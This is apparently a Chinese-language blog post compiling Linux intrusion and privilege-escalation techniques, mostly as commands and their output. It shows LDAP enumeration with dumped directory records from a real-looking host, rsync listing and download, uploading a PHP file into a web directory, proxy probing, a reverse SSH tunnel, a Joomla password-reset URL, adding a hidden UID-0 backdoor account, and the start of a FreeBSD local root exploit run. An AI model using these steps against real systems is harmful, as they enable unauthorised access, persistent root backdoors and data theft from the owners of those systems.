提權 *** 經驗 技巧總結大全二 liunx 相關提權***技巧總結，一、ldap ***技巧： 1.cat /etc/nsswitch 看看密碼登錄策略我們可以看到使用了file ldap模式 2.less /etc/ldap.conf base ou=People,dc=unix-center,dc=net 找到ou,dc,dc設置 3.查找管理員信息 匿名方式 ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2 有密碼形式 ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2 4.查找10條用戶記錄 ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口 實戰: 1.cat /etc/nsswitch 看看密碼登錄策略我們可以看到使用了file ldap模式 2.less /etc/ldap.conf base ou=People,dc=unix-center,dc=net 找到ou,dc,dc設置 3.查找管理員信息 匿名方式 ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2 有密碼形式 ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2 4.查找10條用戶記錄 ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口 ***實戰: 1.返回所有的屬性 ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*" version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain dn: uid=manager,dc=ruc,dc=edu,dc=cn uid: manager objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person objectClass: top sn: manager cn: manager dn: uid=superadmin,dc=ruc,dc=edu,dc=cn uid: superadmin objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person objectClass: top sn: superadmin cn: superadmin dn: uid=admin,dc=ruc,dc=edu,dc=cn uid: admin objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person objectClass: top sn: admin cn: admin dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn uid: dcp_anonymous objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson sn: dcp_anonymous cn: dcp_anonymous 2.查看基類 bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain 3.查找 bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*" version: 1 dn: objectClass: top namingContexts: dc=ruc,dc=edu,dc=cn supportedExtension: 2.16.840.1.113730.3.5.7 supportedExtension: 2.16.840.1.113730.3.5.8 supportedExtension: 1.3.6.1.4.1.4203.1.11.1 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25 supportedExtension: 2.16.840.1.113730.3.5.3 supportedExtension: 2.16.840.1.113730.3.5.5 supportedExtension: 2.16.840.1.113730.3.5.6 supportedExtension: 2.16.840.1.113730.3.5.4 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24 supportedExtension: 1.3.6.1.4.1.1466.20037 supportedExtension: 1.3.6.1.4.1.4203.1.11.3 supportedControl: 2.16.840.1.113730.3.4.2 supportedControl: 2.16.840.1.113730.3.4.3 supportedControl: 2.16.840.1.113730.3.4.4 supportedControl: 2.16.840.1.113730.3.4.5 supportedControl: 1.2.840.113556.1.4.473 supportedControl: 2.16.840.1.113730.3.4.9 supportedControl: 2.16.840.1.113730.3.4.16 supportedControl: 2.16.840.1.113730.3.4.15 supportedControl: 2.16.840.1.113730.3.4.17 supportedControl: 2.16.840.1.113730.3.4.19 supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2 supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6 supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8 supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1 supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1 supportedControl: 2.16.840.1.113730.3.4.14 supportedControl: 1.3.6.1.4.1.1466.29539.12 supportedControl: 2.16.840.1.113730.3.4.12 supportedControl: 2.16.840.1.113730.3.4.18 supportedControl: 2.16.840.1.113730.3.4.13 supportedSASLMechanisms: EXTERNAL supportedSASLMechanisms: DIGEST-MD5 supportedLDAPVersion: 2 supportedLDAPVersion: 3 vendorName: Sun Microsystems, Inc. vendorVersion: Sun-Java(tm)-System-Directory/6.2 dataversion: 020090516011411 netscapemdsuffix: cn=ldap://dc=webA:389 supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5 supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5 supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5 supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5 supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5 supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5 supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5 supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5 supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5 supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 liunx 相關提權***技巧總結，二、NFS ***技巧： 列舉IP：showmount -e ip liunx 相關提權***技巧總結，三、rsync***技巧： 1.查看rsync服務器上的列表： rsync 210.51.X.X:: finance img_finance auto img_auto html_cms img_cms ent_cms ent_img ceshi res_img res_img_c2 chip chip_c2 ent_icms games gamesimg media mediaimg fashion res-fashion res-fo taobao-home res-taobao-home house res-house res-home res-edu res-ent res-labs res-news res-phtv res-media home edu news res-book 看相應的下級目錄(注意一定要在目錄後面添加上/) rsync 210.51.X.X::htdocs_app/ rsync 210.51.X.X::auto/ rsync 210.51.X.X::edu/ 2.下載rsync服務器上的配置文件 rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/ 3.向上更新rsync文件(成功上傳,不會覆蓋) rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/ http://app.finance.xxx.com/warn/nothack.txt liunx 相關提權***技巧總結，四、squid***技巧： nc -vv baidu.com 80 GET HTTP://www.sina.com / HTTP/1.0 GET HTTP://WWW.sina.com:22 / HTTP/1.0 liunx 相關提權***技巧總結，五、SSH端口轉發： ssh -C -f -N -g -R 44:127.0.0.1:22 liunx 相關提權***技巧總結，六、joomla***小技巧： 確定版本： index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-15&catid=32:languages&Itemid=47 重新設置密碼： index.php?option=com_user&view=reset&layout=confirm liunx 相關提權***技巧總結，七、Linux添加UID爲0的root用戶： useradd -o -u 0 nothack liunx 相關提權***技巧總結，八、freebsd本地提權： [argp@julius ~]$ uname -rsi * freebsd 7.3-RELEASE GENERIC * [argp@julius ~]$ sysctl vfs.usermount * vfs.usermount: 1 * [argp@julius ~]$ id * uid=1001(argp) gid=1001(argp) groups=1001(argp) * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex * [argp@julius ~]$ ./nfs_mount_ex * calling nmount()
提權、***、經驗、技巧總結大全二
發表評論
所有評論
還沒有人評論，想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.